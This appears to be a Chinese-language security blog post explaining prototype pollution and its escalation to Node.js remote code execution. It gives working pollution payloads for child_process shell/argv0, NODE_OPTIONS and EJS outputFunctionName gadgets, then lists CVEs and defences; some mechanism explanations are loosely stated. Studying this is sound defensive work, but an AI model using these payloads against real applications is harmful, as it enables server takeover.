原型链污染漏洞:从 JavaScript 到 Node.js RCE 的利用链分析

引言

原型链污染(Prototype Pollution)是 JavaScript 生态中一类独特且危害深远的漏洞。它源于 JavaScript 原型继承机制的固有特性,攻击者通过向 Object.prototype 注入恶意属性,能够影响所有继承自该原型的对象。自 2018 年被系统化研究以来,原型链污染已从最初被认为“仅能造成 DoS”的认知,逐步演变为可稳定实现 Node.js 远程代码执行(RCE)的完整攻击链。本文将深入剖析原型链污染的核心原理,并逐层拆解从属性注入到 RCE 的完整利用路径。

一、原型链污染的核心原理

1.1 JavaScript 原型继承机制

JavaScript 中每个对象都有一个指向其原型对象的内部引用 [[Prototype]](通过 __proto__Object.getPrototypeOf() 访问)。当访问一个对象的属性时,若该对象自身不存在此属性,引擎会沿原型链向上查找,直至 Object.prototype。这意味着,一旦攻击者污染了 Object.prototype,所有对象都会“继承”这些恶意属性。

1.2 漏洞产生的典型场景

原型链污染通常出现在不安全的对象合并、路径赋值或反序列化操作中。以下是一个典型示例:

function merge(target, source) {
    for (let key in source) {
        if (typeof target[key] === 'object' && typeof source[key] === 'object') {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

const malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');
merge({}, malicious);
console.log({}.polluted); // 输出: yes

上述代码中,merge 函数递归合并对象时未过滤 __proto__ 键,导致 Object.prototype 被注入 polluted 属性。类似的风险点还包括 constructor.prototype 路径赋值、Object.assign 的深层变体、以及 lodash 的 merge/defaultsDeep 等工具函数。

二、从污染到 RCE 的利用链

原型链污染本身仅能控制对象属性,但要实现 RCE,需要找到 Node.js 内部或第三方模块中“读取被污染属性并执行危险操作”的汇聚点(Gadget)。以下是几条经典的利用链。

2.1 利用 child_process 的 spawn 或 execSync

Node.js 的 child_process 模块在调用 spawnexecSync 等方法时,会解析 options 对象中的 shellenvargv0 等属性。若这些属性未显式传入,引擎会沿原型链查找,从而读取被污染的值。

利用链示例:

// 污染阶段
const malicious = JSON.parse('{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\'child_process\').execSync(\'id\').toString())//"}}');
merge({}, malicious);

// 触发阶段:某处调用了 child_process.spawnSync 或 execSync
const { execSync } = require('child_process');
execSync('echo test');

execSync 内部调用 spawnSync 时,会检查 options.shell。由于 options 对象自身没有 shell 属性,原型链上的 /proc/self/exe 被读取。/proc/self/exe 指向 Node.js 可执行文件本身,配合 argv0 注入,攻击者可以构造出执行任意代码的命令行参数。具体而言,argv0 被设置为一段 JavaScript 代码,Node.js 以 --eval 或类似方式解析时便会执行该代码。

2.2 利用 NODE_OPTIONS 环境变量注入

Node.js 在启动子进程时会继承环境变量。若攻击者能够污染 env 对象或 NODE_OPTIONS 属性,便可向子进程注入 --require--eval 参数。

利用链:

// 污染 Object.prototype
const malicious = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}');
merge({}, malicious);

// 触发:任何创建子进程的操作
require('child_process').fork('some_script.js');

此处 NODE_OPTIONS 被设置为 --require /proc/self/environ,子进程启动时会加载 /proc/self/environ 作为模块。攻击者可将恶意代码写入环境变量,从而在子进程中执行。这种利用方式不依赖特定模块的 Gadget,通用性极强。

2.3 利用 EJS 等模板引擎

许多模板引擎在渲染时会读取配置对象中的属性。以 EJS 为例,其 renderFile 方法会检查 options.outputFunctionName 等属性。若该属性被污染为恶意代码字符串,EJS 会将其拼接进生成的函数体中,导致代码执行。

利用链:

const ejs = require('ejs');
const malicious = JSON.parse('{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\'child_process\').execSync(\'id\');s"}}');
merge({}, malicious);

ejs.render('Hello <%= name %>', { name: 'world' });

EJS 在编译模板时,会将 outputFunctionName 的值直接插入到函数源码中。攻击者通过闭合原有语句并注入任意代码,即可实现 RCE。类似地,Pug、Handlebars 等引擎也存在各自的 Gadget。

2.4 利用 require 与模块加载机制

Node.js 的 require 函数在解析模块路径时,会读取 Module._resolveFilename 等内部方法。若攻击者污染了 Module.prototype 上的属性,可能影响模块解析逻辑。例如,污染 paths 属性可改变模块查找路径,进而加载攻击者控制的文件。

此外,某些序列化库(如 node-serialize)在反序列化时会执行 eval,若结合原型链污染注入 __proto__ 中的函数体,可直接触发 RCE。

三、真实案例与影响

历史上多个知名 npm 包曾受原型链污染影响:

  • lodash:CVE-2018-3721,mergedefaultsDeep 等函数可被污染。
  • jQuery:CVE-2019-11358,$.extend(true, ...) 存在原型链污染。
  • hoek:CVE-2018-3728,影响 hapi 生态。
  • minimist:CVE-2020-7598,参数解析时可污染原型。

在 Node.js 应用层面,原型链污染常与 SSRF、文件写入、模板注入等漏洞组合,形成从“低危属性注入”到“高危 RCE”的完整攻击链。例如,攻击者先通过 API 的参数合并接口污染 Object.prototype,再等待应用内部调用 child_process 或模板渲染,最终实现命令执行。

四、防御策略

  1. 输入过滤:在对象合并、路径赋值等操作中,严格禁止 __proto__constructorprototype 等键。
  2. 使用安全函数:采用 Object.create(null) 创建无原型对象,或使用 Map 替代普通对象存储键值对。
  3. 冻结原型:在应用初始化时调用 Object.freeze(Object.prototype),防止运行时污染。
  4. 依赖更新:及时升级 lodash、jQuery 等库至修复版本。
  5. 运行时防护:使用 --disable-proto 标志启动 Node.js(Node 12+),禁用 __proto__ 访问。
  6. RCE 汇聚点加固:对 child_process 调用显式传入完整的 options 对象,避免原型链查找。

结语

原型链污染漏洞的威力在于其“污染一次,处处受影响”的传播特性。从简单的属性注入到复杂的 RCE 利用链,攻击者需要深入理解 JavaScript 运行时和 Node.js 内部机制。对于防御者而言,仅修复单个 Gadget 远远不够,必须从输入过滤、原型冻结、依赖管理等多层面构建纵深防御体系。随着 Node.js 生态的持续演进,原型链污染的利用手法也将不断翻新,安全研究者需保持持续关注。

未经允许不得转载:任鹏个人博客 » 原型链污染漏洞:从 JavaScript 到 Node.js RCE 的利用链分析

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏